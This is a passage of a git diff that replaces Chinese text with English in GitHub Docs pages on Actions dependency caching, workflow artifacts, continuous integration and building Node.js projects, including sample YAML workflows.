`restore-keys`。 当键不直接匹配时，操作将搜索以恢复键为前缀的键。 如果恢复键值有多个部分匹配项，操作将返回最近创建的缓存。 +You can provide a list of restore keys to use when there is a cache miss on `key`. You can create multiple restore keys ordered from the most specific to least specific. The `cache` action searches for `restore-keys` in sequential order. When a key doesn't match directly, the action searches for keys prefixed with the restore key. If there are multiple partial matches for a restore key, the action returns the most recently created cache. -### 使用多个恢复键值的示例 +### Example using multiple restore keys {% raw %} ```yaml @@ -171,7 +194,7 @@ restore-keys: | ``` {% endraw %} -运行器将评估表达式，解析为以下 `restore-keys`： +The runner evaluates the expressions, which resolve to these `restore-keys`: {% raw %} ```yaml @@ -182,13 +205,13 @@ restore-keys: | ``` {% endraw %} -恢复键值 `npm-foobar-` 与任何以字符串 `npm-foobar-` 开头的键值匹配。 例如，键值 `npm-foobar-fd3052de` 和 `npm-foobar-a9b253ff` 都与恢复键值匹配。 将使用创建日期最新的缓存。 此示例中的键值按以下顺序搜索： +The restore key `npm-foobar-` matches any key that starts with the string `npm-foobar-`. For example, both of the keys `npm-foobar-fd3052de` and `npm-foobar-a9b253ff` match the restore key. The cache with the most recent creation date would be used. The keys in this example are searched in the following order: -1. **`npm-foobar-d5ea0750`** 匹配特定的哈希。 -1. **`npm-foobar-`** 匹配前缀为 `npm-foobar-` 的缓存键值。 -1. **`npm-`** 匹配前缀为 `npm-` 的任何键值。 +1. **`npm-foobar-d5ea0750`** matches a specific hash. +1. **`npm-foobar-`** matches cache keys prefixed with `npm-foobar-`. +1. **`npm-`** matches any keys prefixed with `npm-`. -#### 搜索优先级示例 +#### Example of search priority ```yaml key: @@ -198,15 +221,15 @@ restore-keys: | npm- ``` -例如，如果拉取请求包含 `feature` 分支（当前范围）并针对默认分支 (`main`)，操作将按以下顺序搜索 `key` 和 `restore-keys`： +For example, if a pull request contains a `feature` branch (the current scope) and targets the default branch (`main`), the action searches for `key` and `restore-keys` in the following order: -1. `feature` 分支范围中的键值 `npm-feature-d5ea0750` -1. `feature` 分支范围中的键值 `npm-feature-` -2. `feature` 分支范围中的键值 `npm-` -1. `main` 分支范围中的键值 `npm-feature-d5ea0750` -3. `main` 分支范围中的键值 `npm-feature-` -4. `main` 分支范围中的键值 `npm` +1. Key `npm-feature-d5ea0750` in the `feature` branch scope +1. Key `npm-feature-` in the `feature` branch scope +2. Key `npm-` in the `feature` branch scope +1. Key `npm-feature-d5ea0750` in the `main` branch scope +3. Key `npm-feature-` in the `main` branch scope +4. Key `npm-` in the `main` branch scope -## 使用限制和收回政策 +## Usage limits and eviction policy -{% data variables.product.prodname_dotcom %} 将删除 7 天内未被访问的任何缓存条目。 可以存储的缓存数没有限制，但存储库中所有缓存的总大小限制为 5 GB。 如果超过此限制，{% data variables.product.prodname_dotcom %} 将保存缓存，但会开始收回缓存，直到总大小小于 5 GB。 +{% data variables.product.prodname_dotcom %} will remove any cache entries that have not been accessed in over 7 days. There is no limit on the number of caches you can store, but the total size of all caches in a repository is limited to 10 GB. If you exceed this limit, {% data variables.product.prodname_dotcom %} will save your cache but will begin evicting caches until the total size is less than 10 GB. diff --git a/translations/zh-CN/content/actions/advanced-guides/storing-workflow-data-as-artifacts.md b/translations/zh-CN/content/actions/advanced-guides/storing-workflow-data-as-artifacts.md index d6f1c73034..a1e1b56851 100644 --- a/translations/zh-CN/content/actions/advanced-guides/storing-workflow-data-as-artifacts.md +++ b/translations/zh-CN/content/actions/advanced-guides/storing-workflow-data-as-artifacts.md @@ -1,7 +1,7 @@ --- -title: 将工作流程数据存储为构件 -shortTitle: 存储工作流程构件 -intro: 构件允许您在工作流程完成后，分享工作流程中作业之间的数据并存储数据。 +title: Storing workflow data as artifacts +shortTitle: Storing workflow artifacts +intro: Artifacts allow you to share data between jobs in a workflow and store data once that workflow has completed. redirect_from: - /articles/persisting-workflow-data-using-artifacts - /github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts @@ -22,51 +22,51 @@ topics: {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## 关于工作流程构件 +## About workflow artifacts -构件允许您在作业完成后保留数据，并与同一工作流程中的另一个作业共享该数据。 构件是指在工作流程运行过程中产生的文件或文件集。 例如，在工作流程运行结束后，您可以使用构件保存您的构建和测试输出。 {% data reusables.actions.reusable-workflow-artifacts %} +Artifacts allow you to persist data after a job has completed, and share that data with another job in the same workflow. An artifact is a file or collection of files produced during a workflow run. For example, you can use artifacts to save your build and test output after a workflow run has ended. {% data reusables.actions.reusable-workflow-artifacts %} -{% data reusables.github-actions.artifact-log-retention-statement %} 每当有人向拉取请求推送新提交时，拉取请求的保留期将重新开始。 +{% data reusables.github-actions.artifact-log-retention-statement %} The retention period for a pull request restarts each time someone pushes a new commit to the pull request. -以下是您可以上传的一些常见构件： +These are some of the common artifacts that you can upload: -- 日志文件和核心转储文件 -- 测试结果、失败和屏幕截图 -- 二进制或压缩文件 -- 压力测试性能输出和代码覆盖结果 +- Log files and core dumps +- Test results, failures, and screenshots +- Binary or compressed files +- Stress test performance output and code coverage results {% ifversion fpt or ghec %} -存储构件时使用存储空间 {% data variables.product.product_name %}。 {% data reusables.github-actions.actions-billing %} 更多信息请参阅“[管理 {% data variables.product.prodname_actions %} 的计费](/billing/managing-billing-for-github-actions)”。 +Storing artifacts uses storage space on {% data variables.product.product_name %}. {% data reusables.github-actions.actions-billing %} For more information, see "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)." {% else %} -项目会占用外部 Blob 存储上的存储空间，该存储为 {% data variables.product.product_location %} 上的 {% data variables.product.prodname_actions %} 配置。 +Artifacts consume storage space on the external blob storage that is configured for {% data variables.product.prodname_actions %} on {% data variables.product.product_location %}. {% endif %} -构件会在工作流程运行过程中上传，您可以在 UI 中查看构件的名称和大小。 当构件使用 {% data variables.product.product_name %} UI 下载时， 作为构件一部分单独上传的所有文件都会压缩到一个 zip 文件中。 这意味着计费是根据上传的构件大小而不是 zip 文件的大小计算的。 +Artifacts are uploaded during a workflow run, and you can view an artifact's name and size in the UI. When an artifact is downloaded using the {% data variables.product.product_name %} UI, all files that were individually uploaded as part of the artifact get zipped together into a single file. This means that billing is calculated based on the size of the uploaded artifact and not the size of the zip file. -{% data variables.product.product_name %} 提供两项可用于上传和下载构建构件的操作。 更多信息请参阅 {% ifversion fpt or ghec %}[actions/upload-artifact](https://github.com/actions/upload-artifact) and [download-artifact](https://github.com/actions/download-artifact) 操作{% else %} {% data variables.product.product_location %} 上的 `actions/upload-artifact` 和 `download-artifact` 操作{% endif %}。 +{% data variables.product.product_name %} provides two actions that you can use to upload and download build artifacts. For more information, see the {% ifversion fpt or ghec %}[actions/upload-artifact](https://github.com/actions/upload-artifact) and [download-artifact](https://github.com/actions/download-artifact) actions{% else %} `actions/upload-artifact` and `download-artifact` actions on {% data variables.product.product_location %}{% endif %}. -要在作业之间共享数据： +To share data between jobs: -* **上传文件**：为上传的文件提供名称并在作业结束前上传数据。 -* **下载文件**：您只能下载在同一工作流程运行过程中上传的构件。 下载文件时，您可以通过名称引用该文件。 +* **Uploading files**: Give the uploaded file a name and upload the data before the job ends. +* **Downloading files**: You can only download artifacts that were uploaded during the same workflow run. When you download a file, you can reference it by name. -作业步骤共享运行器机器的相同环境，但在其各自的进程中运行。 要在作业的步骤之间传递数据，您可以使用输入和输出。 有关输入和输出的更多信息，请参阅“[{% data variables.product.prodname_actions %} 的元数据语法](/articles/metadata-syntax-for-github-actions)”。 +The steps of a job share the same environment on the runner machine, but run in their own individual processes. To pass data between steps in a job, you can use inputs and outputs. For more information about inputs and outputs, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions)." -## 上传构建和测试构件 +## Uploading build and test artifacts -您可以创建持续集成 (CI) 工作流程来构建和测试您的代码。 关于使用 {% data variables.product.prodname_actions %} 执行 CI 的更多信息，请参阅“[关于持续集成](/articles/about-continuous-integration)”。 +You can create a continuous integration (CI) workflow to build and test your code. For more information about using {% data variables.product.prodname_actions %} to perform CI, see "[About continuous integration](/articles/about-continuous-integration)." -构建和测试代码的输出通常会生成可用于调试测试失败的文件和可部署的生产代码。 您可以配置一个工作流程来构建和测试推送到仓库中的代码，并报告成功或失败状态。 您可以上传构建和测试输出，以用于部署、调试失败的测试或崩溃以及查看测试套件范围。 +The output of building and testing your code often produces files you can use to debug test failures and production code that you can deploy. You can configure a workflow to build and test the code pushed to your repository and report a success or failure status. You can upload the build and test output to use for deployments, debugging failed tests or crashes, and viewing test suite coverage. -您可以使用 `upload-artifact` 操作上传构件。 上传构件时，您可以指定单个文件或目录，或多个文件或目录。 您还可以排除某些文件或目录，以及使用通配符模式。 我们建议您为构件提供名称，但如果未提供名称，则会使用 `artifact` 作为默认名称。 有关语法的更多信息，请参阅 {% ifversion fpt or ghec %} {% data variables.product.product_location %} 上的 [actions/upload-artifact](https://github.com/actions/upload-artifact) action{% else %} `actions/upload-artifact` 操作{% endif %}。 +You can use the `upload-artifact` action to upload artifacts. When uploading an artifact, you can specify a single file or directory, or multiple files or directories. You can also exclude certain files or directories, and use wildcard patterns. We recommend that you provide a name for an artifact, but if no name is provided then `artifact` will be used as the default name. For more information on syntax, see the {% ifversion fpt or ghec %}[actions/upload-artifact](https://github.com/actions/upload-artifact) action{% else %} `actions/upload-artifact` action on {% data variables.product.product_location %}{% endif %}. -### 示例 +### Example -例如，您的仓库或 Web 应用程序可能包含必须转换为 CSS 和 JavaScript 的 SASS 和 TypeScript 文件。 假设您的构建配置输出 `dist` 目录中已编译的文件，如果所有测试均已成功完成，则可将 `dist` 目录中的文件部署到您的 Web 应用程序服务器。 +For example, your repository or a web application might contain SASS and TypeScript files that you must convert to CSS and JavaScript. Assuming your build configuration outputs the compiled files in the `dist` directory, you would deploy the files in the `dist` directory to your web application server if all tests completed successfully. ``` |-- hello-world (repository) @@ -80,9 +80,9 @@ topics: | ``` -本例向您展示如何创建 Node.js 项目的工作流程，该项目在 src 目录中 `builds` 代码，并在 `tests` 目录中运行测试。 您可以假设运行 `npm test` 会产生名为 `code-coverage.html`、存储在 `output/test/` 目录中的代码覆盖报告。 +This example shows you how to create a workflow for a Node.js project that builds the code in the `src` directory and runs the tests in the `tests` directory. You can assume that running `npm test` produces a code coverage report named `code-coverage.html` stored in the `output/test/` directory. -工作流程上传 `dist` 目录中的生产构件，但不包括任何 markdown 文件。 It also uploads the `code-coverage.html` report as another artifact. +The workflow uploads the production artifacts in the `dist` directory, but excludes any markdown files. It also uploads the `code-coverage.html` report as another artifact. ```yaml{:copy} name: Node CI @@ -114,9 +114,9 @@ jobs: path: output/test/code-coverage.html ``` -## 配置自定义构件保留期 +## Configuring a custom artifact retention period -您可以为工作流程创建的单个构件自定义保留期。 使用工作流程创建新构件时，可以同时使用 `retention-days` with the `upload-artifact` 操作。 此示例演示如何为名为 `my-artifact` 的构件设置 5 天的自定义保留期： +You can define a custom retention period for individual artifacts created by a workflow. When using a workflow to create a new artifact, you can use `retention-days` with the `upload-artifact` action. This example demonstrates how to set a custom retention period of 5 days for the artifact named `my-artifact`: ```yaml{:copy} - name: 'Upload Artifact' @@ -127,25 +127,25 @@ jobs: retention-days: 5 ``` -`retention-days` 值不能超过仓库、组织或企业设置的保留时间限制。 +The `retention-days` value cannot exceed the retention limit set by the repository, organization, or enterprise. -## 下载或删除构件 +## Downloading or deleting artifacts -在工作流程运行期间，您可以使用 [`download-artifact`](https://github.com/actions/download-artifact) 操作下载以前在同一工作流程运行中上传的构件。 +During a workflow run, you can use the [`download-artifact`](https://github.com/actions/download-artifact) action to download artifacts that were previously uploaded in the same workflow run. -工作流程运行完成后，您可以在 {% data variables.product.prodname_dotcom %} 上或使用 REST API 下载或删除构件。 更多信息请参阅“[下载工作流程构件](/actions/managing-workflow-runs/downloading-workflow-artifacts)”、“[删除工作流程构件](/actions/managing-workflow-runs/removing-workflow-artifacts)”和“[构件 REST API](/rest/reference/actions#artifacts)”。 +After a workflow run has been completed, you can download or delete artifacts on {% data variables.product.prodname_dotcom %} or using the REST API. For more information, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)," "[Removing workflow artifacts](/actions/managing-workflow-runs/removing-workflow-artifacts)," and the "[Artifacts REST API](/rest/reference/actions#artifacts)." -### 在工作流程运行期间下载构件 +### Downloading artifacts during a workflow run -[`actions/download-artifact`](https://github.com/actions/download-artifact) 操作可用于下载工作流程运行期间之前上传的构件。 +The [`actions/download-artifact`](https://github.com/actions/download-artifact) action can be used to download previously uploaded artifacts during a workflow run. {% note %} -**注**：您只能下载在同一工作流程运行过程中上传的构件。 +**Note:** You can only download artifacts in a workflow that were uploaded during the same workflow run. {% endnote %} -指定构件的名称以下载单个构件。 如果在未指定名称的情况下上传构件目，则使用默认名称 `artifact`。 +Specify an artifact's name to download an individual artifact. If you uploaded an artifact without specifying a name, the default name is `artifact`. ```yaml - name: Download a single artifact @@ -154,7 +154,7 @@ jobs: name: my-artifact ``` -您还可以不指定名称而下载工作流程运行中的所有构件。 如果您在处理大量构件，此功能非常有用。 +You can also download all artifacts in a workflow run by not specifying a name. This can be useful if you are working with lots of artifacts. ```yaml - name: Download all workflow run artifacts @@ -163,28 +163,28 @@ jobs: If you download all workflow run's artifacts, a directory for each artifact is created using its name. -有关语法的更多信息，请参阅 {% ifversion fpt or ghec %}[actions/download-artifact](https://github.com/actions/download-artifact) 操作{% else %} {% data variables.product.product_location %} 上的 `actions/download-artifact` 操作{% endif %}。 +For more information on syntax, see the {% ifversion fpt or ghec %}[actions/download-artifact](https://github.com/actions/download-artifact) action{% else %} `actions/download-artifact` action on {% data variables.product.product_location %}{% endif %}. -## 在工作流程中作业之间传递数据 +## Passing data between jobs in a workflow -您可以使用 `upload-artifact` 和 `download-artifact` 操作在工作流程中的作业之间共享数据。 此示例工作流程说明如何在相同工作流程中的任务之间传递数据。 更多信息请参阅 {% ifversion fpt or ghec %}[actions/upload-artifact](https://github.com/actions/upload-artifact) and [download-artifact](https://github.com/actions/download-artifact) 操作{% else %} {% data variables.product.product_location %} 上的 `actions/upload-artifact` 和 `download-artifact` 操作{% endif %}。 +You can use the `upload-artifact` and `download-artifact` actions to share data between jobs in a workflow. This example workflow illustrates how to pass data between jobs in the same workflow. For more information, see the {% ifversion fpt or ghec %}[actions/upload-artifact](https://github.com/actions/upload-artifact) and [download-artifact](https://github.com/actions/download-artifact) actions{% else %} `actions/upload-artifact` and `download-artifact` actions on {% data variables.product.product_location %}{% endif %}. -依赖于以前作业构件的作业必须等待依赖项成功完成。 此工作流程使用 `needs` 关键词确保 `job_1`、 `job_2` 和 `job_3` 按顺序运行。 例如， `job_2` 需要 `job_1` 使用 `needs: job_1` 语法。 +Jobs that are dependent on a previous job's artifacts must wait for the dependent job to complete successfully. This workflow uses the `needs` keyword to ensure that `job_1`, `job_2`, and `job_3` run sequentially. For example, `job_2` requires `job_1` using the `needs: job_1` syntax. -作业1执行以下步骤： -- 执行数学计算并将结果保存到名为 `math-home-work.txt` 的文本文件。 -- 使用 `upload-artifact` 操作上传构件名称为 `homework` 的 `math-homework.txt` 文件。 +Job 1 performs these steps: +- Performs a math calculation and saves the result to a text file called `math-homework.txt`. +- Uses the `upload-artifact` action to upload the `math-homework.txt` file with the artifact name `homework`. -作业 2 使用上一个作业的结果： -- 下载上一个作业中上传的 `homework` 构件。 默认情况下， `download-artifact` 操作会将构件下载到该步骤执行的工作区目录中。 您可以使用 `path` 输入参数指定不同的下载目录。 -- 读取 `math-homework.txt` 文件中的值，进行数学计算，并将结果再次保存到 `math-homework.txt`，覆盖其内容。 -- 更新 `math-homework.txt` 文件。 此上传会覆盖之前上传的构件，因为它们共用同一名称。 +Job 2 uses the result in the previous job: +- Downloads the `homework` artifact uploaded in the previous job. By default, the `download-artifact` action downloads artifacts to the workspace directory that the step is executing in. You can use the `path` input parameter to specify a different download directory. +- Reads the value in the `math-homework.txt` file, performs a math calculation, and saves the result to `math-homework.txt` again, overwriting its contents. +- Uploads the `math-homework.txt` file. This upload overwrites the previously uploaded artifact because they share the same name. -作业 3 显示上一个作业中上传的结果： -- 下载 `homework` 构件。 -- 将数学方程式的结果打印到日志中。 +Job 3 displays the result uploaded in the previous job: +- Downloads the `homework` artifact. +- Prints the result of the math equation to the log. -此工作流程示例中执行的完整数学运算为 `(3 + 7) x 9 = 90`。 +The full math operation performed in this workflow example is `(3 + 7) x 9 = 90`. ```yaml{:copy} name: Share data between jobs @@ -240,17 +240,17 @@ jobs: echo The result is $value ``` -工作流程运行运行将会存档它生成的任何构件。 有关下载存档的构件的更多信息，请参阅“[下载工作流程构件](/actions/managing-workflow-runs/downloading-workflow-artifacts)”。 +The workflow run will archive any artifacts that it generated. For more information on downloading archived artifacts, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)." {% ifversion fpt or ghes > 3.0 or ghae or ghec %} -![要在作业之间传递数据以执行数学工作流程](/assets/images/help/repository/passing-data-between-jobs-in-a-workflow-updated.png) +![Workflow that passes data between jobs to perform math](/assets/images/help/repository/passing-data-between-jobs-in-a-workflow-updated.png) {% else %} -![要在作业之间传递数据以执行数学工作流程](/assets/images/help/repository/passing-data-between-jobs-in-a-workflow.png) +![Workflow that passes data between jobs to perform math](/assets/images/help/repository/passing-data-between-jobs-in-a-workflow.png) {% endif %} {% ifversion fpt or ghec %} -## 延伸阅读 +## Further reading -- "[管理 {% data variables.product.prodname_actions %} 的计费](/billing/managing-billing-for-github-actions)". +- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)". {% endif %} diff --git a/translations/zh-CN/content/actions/automating-builds-and-tests/about-continuous-integration.md b/translations/zh-CN/content/actions/automating-builds-and-tests/about-continuous-integration.md index ce52342689..281380a4fe 100644 --- a/translations/zh-CN/content/actions/automating-builds-and-tests/about-continuous-integration.md +++ b/translations/zh-CN/content/actions/automating-builds-and-tests/about-continuous-integration.md @@ -1,5 +1,5 @@ --- -title: 关于持续集成 +title: About continuous integration intro: 'You can create custom continuous integration (CI) workflows directly in your {% data variables.product.prodname_dotcom %} repository with {% data variables.product.prodname_actions %}.' redirect_from: - /articles/about-continuous-integration @@ -15,47 +15,47 @@ versions: type: overview topics: - CI -shortTitle: 持续集成 +shortTitle: Continuous integration --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## 关于持续集成 +## About continuous integration -持续集成 (CI) 是一种需要频繁提交代码到共享仓库的软件实践。 频繁提交代码能较早检测到错误，减少在查找错误来源时开发者需要调试的代码量。 频繁的代码更新也更便于从软件开发团队的不同成员合并更改。 这对开发者非常有益，他们可以将更多时间用于编写代码，而减少在调试错误或解决合并冲突上所花的时间。 +Continuous integration (CI) is a software practice that requires frequently committing code to a shared repository. Committing code more often detects errors sooner and reduces the amount of code a developer needs to debug when finding the source of an error. Frequent code updates also make it easier to merge changes from different members of a software development team. This is great for developers, who can spend more time writing code and less time debugging errors or resolving merge conflicts. -提交代码到仓库时，可以持续创建并测试代码，以确保提交未引入错误。 您的测试可以包括代码语法检查（检查样式格式）、安全性检查、代码覆盖率、功能测试及其他自定义检查。 +When you commit code to your repository, you can continuously build and test the code to make sure that the commit doesn't introduce errors. Your tests can include code linters (which check style formatting), security checks, code coverage, functional tests, and other custom checks. -创建和测试代码需要服务器。 您可以在推送代码到仓库之前在本地创建并测试更新，也可以使用 CI 服务器检查仓库中的新代码提交。 +Building and testing your code requires a server. You can build and test updates locally before pushing code to a repository, or you can use a CI server that checks for new code commits in a repository. -## 关于使用 {% data variables.product.prodname_actions %} 的持续集成 +## About continuous integration using {% data variables.product.prodname_actions %} -{% ifversion ghae %}使用 {% data variables.product.prodname_actions %} 的 CI 提供可以在仓库中构建代码并运行测试的工作流程。 工作流程可以在 {% data variables.product.prodname_dotcom %} 托管的虚拟机上运行。 更多信息请参阅“[关于 {% data variables.actions.hosted_runner %}](/actions/using-github-hosted-runners/about-ae-hosted-runners)”。 -{% else %}使用 {% data variables.product.prodname_actions %} 的 CI 提供可以在仓库中构建代码并运行测试的工作流程。 工作流程可在 {% data variables.product.prodname_dotcom %} 托管的虚拟机或您自行托管的机器上运行。 更多信息请参阅“[{% data variables.product.prodname_dotcom %} 托管的运行器的虚拟环境](/actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)”和“[关于自托管运行器](/actions/automating-your-workflow-with-github-actions/about-self-hosted-runners)”。 +{% ifversion ghae %}CI using {% data variables.product.prodname_actions %} offers workflows that can build the code in your repository and run your tests. Workflows can run on virtual machines hosted by {% data variables.product.prodname_dotcom %}. For more information, see "[About {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/about-ae-hosted-runners)." +{% else %} CI using {% data variables.product.prodname_actions %} offers workflows that can build the code in your repository and run your tests. Workflows can run on {% data variables.product.prodname_dotcom %}-hosted virtual machines, or on machines that you host yourself. For more information, see "[Virtual environments for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)" and "[About self-hosted runners](/actions/automating-your-workflow-with-github-actions/about-self-hosted-runners)." {% endif %} -您可以配置 CI 工作流程在 {% data variables.product.prodname_dotcom %} 事件发生时运行（例如，当新代码推送到您的仓库时）、按设定的时间表运行，或者在使用仓库分发 web 挂钩的外部事件发生时运行。 +You can configure your CI workflow to run when a {% data variables.product.prodname_dotcom %} event occurs (for example, when new code is pushed to your repository), on a set schedule, or when an external event occurs using the repository dispatch webhook. -{% data variables.product.product_name %} 运行 CI 测试并在拉取请求中提供每次测试的结果，因此您可以查看分支中的更改是否引入错误。 如果工作流程中的所有 CI 测试通过，您推送的更改可供团队成员审查或合并 如果测试失败，则是其中某项更改导致了失败。 +{% data variables.product.product_name %} runs your CI tests and provides the results of each test in the pull request, so you can see whether the change in your branch introduces an error. When all CI tests in a workflow pass, the changes you pushed are ready to be reviewed by a team member or merged. When a test fails, one of your changes may have caused the failure. -如果在仓库中设置了 CI，{% data variables.product.product_name %} 会分析仓库中的代码，并根据仓库中的语言和框架推荐 CI 工作流程。 例如，如果您使用 [Node.js](https://nodejs.org/en/)，{% data variables.product.product_name %} 将提议使用模板文件来安装 Node.js 包和运行测试。 您可以使用 {% data variables.product.product_name %} 提议的 CI 工作流程模板，自定义提议的模板，或者创建自定义工作流程文件来运行 CI 测试。 +When you set up CI in your repository, {% data variables.product.product_name %} analyzes the code in your repository and recommends CI workflows based on the language and framework in your repository. For example, if you use [Node.js](https://nodejs.org/en/), {% data variables.product.product_name %} will suggest a template file that installs your Node.js packages and runs your tests. You can use the CI workflow template suggested by {% data variables.product.product_name %}, customize the suggested template, or create your own custom workflow file to run your CI tests. -![提议的持续集成模板截屏](/assets/images/help/repository/ci-with-actions-template-picker.png) +![Screenshot of suggested continuous integration templates](/assets/images/help/repository/ci-with-actions-template-picker.png) -除了帮助设置项目的 CI 工作流程之外，您还可以使用 {% data variables.product.prodname_actions %} 创建跨整个软件开发生命周期的工作流程。 例如，您可以使用操作来部署、封装或发行项目。 更多信息请参阅“[关于 {% data variables.product.prodname_actions %}](/articles/about-github-actions)”。 +In addition to helping you set up CI workflows for your project, you can use {% data variables.product.prodname_actions %} to create workflows across the full software development life cycle. For example, you can use actions to deploy, package, or release your project. For more information, see "[About {% data variables.product.prodname_actions %}](/articles/about-github-actions)." -有关常用术语的定义，请参阅“[{% data variables.product.prodname_actions %} 的核心概念](/github/automating-your-workflow-with-github-actions/core-concepts-for-github-actions)”。 +For a definition of common terms, see "[Core concepts for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/core-concepts-for-github-actions)." ## Workflow templates -{% data variables.product.product_name %} 提供各种不同语言和框架的 CI 工作流程模板。 +{% data variables.product.product_name %} offers CI workflow templates for a variety of languages and frameworks. -在 {% ifversion fpt or ghec %}[actions/starter-workflows](https://github.com/actions/starter-workflows/tree/main/ci) 仓库{% else %}{% data variables.product.product_location %} 上的 `actions/starter-workflows` 仓库{% endif %}中浏览 {% data variables.product.company_short %} 提供的 CI 工作流程模板的完整列表。 +Browse the complete list of CI workflow templates offered by {% data variables.product.company_short %} in the {% ifversion fpt or ghec %}[actions/starter-workflows](https://github.com/actions/starter-workflows/tree/main/ci) repository{% else %} `actions/starter-workflows` repository on {% data variables.product.product_location %}{% endif %}. -## 延伸阅读 +## Further reading {% ifversion fpt or ghec %} -- "[管理 {% data variables.product.prodname_actions %} 的计费](/billing/managing-billing-for-github-actions)" +- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)" {% endif %} diff --git a/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md b/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md index 7abf2cf222..0715e07423 100644 --- a/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md +++ b/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md @@ -1,6 +1,6 @@ --- -title: 构建和测试 Node.js -intro: 您可以创建持续集成 (CI) 工作流程来构建和测试您的 Node.js 项目。 +title: Building and testing Node.js +intro: You can create a continuous integration (CI) workflow to build and test your Node.js project. redirect_from: - /actions/automating-your-workflow-with-github-actions/using-nodejs-with-github-actions - /actions/language-and-framework-guides/using-nodejs-with-github-actions @@ -16,7 +16,7 @@ topics: - CI - Node - JavaScript -shortTitle: 构建和测试 Node.js +shortTitle: Build & test Node.js hasExperimentalAlternative: true --- @@ -24,24 +24,24 @@ hasExperimentalAlternative: true {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## 简介 +## Introduction -本指南介绍如何创建用来生成和测试 Node.js 代码的持续集成 (CI) 工作流程。 如果 CI 测试通过，您可能想要部署代码或发布包。 +This guide shows you how to create a continuous integration (CI) workflow that builds and tests Node.js code. If your CI tests pass, you may want to deploy your code or publish a package. -## 基本要求 +## Prerequisites -建议基本了解 Node.js、YAML、工作流程配置选项以及如何创建工作流程文件。 更多信息请参阅： +We recommend that you have a basic understanding of Node.js, YAML, workflow configuration options, and how to create a workflow file. For more information, see: -- "[了解 {% data variables.product.prodname_actions %}](/actions/learn-github-actions)" -- "[开始使用 Node.js](https://nodejs.org/en/docs/guides/getting-started-guide/)" +- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)" +- "[Getting started with Node.js](https://nodejs.org/en/docs/guides/getting-started-guide/)" {% data reusables.actions.enterprise-setup-prereq %} -## 从 Node.js 工作流程模板开始 +## Starting with the Node.js workflow template -{% data variables.product.prodname_dotcom %} 提供 Node.js 适用于大多数 Node.js 项目的工作流程模板。 本指南包含可用于自定义模板的 npm 和 Yarn 示例。 更多信息请参阅 [Node.js 工作流程模板](https://github.com/actions/starter-workflows/blob/main/ci/node.js.yml)。 +{% data variables.product.prodname_dotcom %} provides a Node.js workflow template that will work for most Node.js projects. This guide includes npm and Yarn examples that you can use to customize the template. For more information, see the [Node.js workflow template](https://github.com/actions/starter-workflows/blob/main/ci/node.js.yml). -要快速开始，请将模板添加到仓库的 `.github/workflows` 目录中。 下面显示的工作流假定仓库的默认分支是 `main`。 +To get started quickly, add the template to the `.github/workflows` directory of your repository. The workflow shown below assumes that the default branch for your repository is `main`. {% raw %} ```yaml{:copy} @@ -76,15 +76,15 @@ jobs: {% data reusables.github-actions.example-github-runner %} -## 指定 Node.js 版本 +## Specifying the Node.js version -指定 Node.js 版本的最简单方法是使用由 {% data variables.product.prodname_dotcom %} 提供的 `setup-node` 操作。 更多信息请参阅 [`setup-node`](https://github.com/actions/setup-node/)。 +The easiest way to specify a Node.js version is by using the `setup-node` action provided by {% data variables.product.prodname_dotcom %}. For more information see, [`setup-node`](https://github.com/actions/setup-node/). -`setup-node` 操作采用 Node.js 版本作为输入，并在运行器上配置该版本。 `setup-node` 操作从每个运行器上的工具缓存中查找特定版本的 Node.js，并将必要的二进制文件添加到 `PATH`，这可继续用于作业的其余部分。 使用 `setup-node` 操作是 Node.js 与 {% data variables.product.prodname_actions %} 结合使用时的推荐方式，因为它能确保不同运行器和不同版本的 Node.js 行为一致。 如果使用自托管运行器，则必须安装 Node.js 并将其添加到 `PATH`。 +The `setup-node` action takes a Node.js version as an input and configures that version on the runner. The `setup-node` action finds a specific version of Node.js from the tools cache on each runner and adds the necessary binaries to `PATH`, which persists for the rest of the job. Using the `setup-node` action is the recommended way of using Node.js with {% data variables.product.prodname_actions %} because it ensures consistent behavior across different runners and different versions of Node.js. If you are using a self-hosted runner, you must install Node.js and add it to `PATH`. -模板包含一个矩阵策略：用四个 Node.js 版本 10.x、12.x、14.x 和 15.x 构建和测试代码， "x" 是一个通配符，与版本的最新次要版本和修补程序版本匹配。 `node-version` 阵列中指定的每个 Node.js 版本都会创建一个运行相同步骤的作业。 +The template includes a matrix strategy that builds and tests your code with four Node.js versions: 10.x, 12.x, 14.x, and 15.x. The 'x' is a wildcard character that matches the latest minor and patch release available for a version. Each version of Node.js specified in the `node-version` array creates a job that runs the same steps. -每个作业都可以使用 `matrix` 上下文访问矩阵 `node-version` 阵列中定义的值。 `setup-node` 操作使用上下文作为 `node-version` 输入。 `setup-node` 操作在构建和测试代码之前使用不同的 Node.js 版本配置每个作业。 For more information about matrix strategies and contexts, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix)" and "[Contexts](/actions/learn-github-actions/contexts)." +Each job can access the value defined in the matrix `node-version` array using the `matrix` context. The `setup-node` action uses the context as the `node-version` input. The `setup-node` action configures each job with a different Node.js version before building and testing code. For more information about matrix strategies and contexts, see "[Workflow syntax for {% data 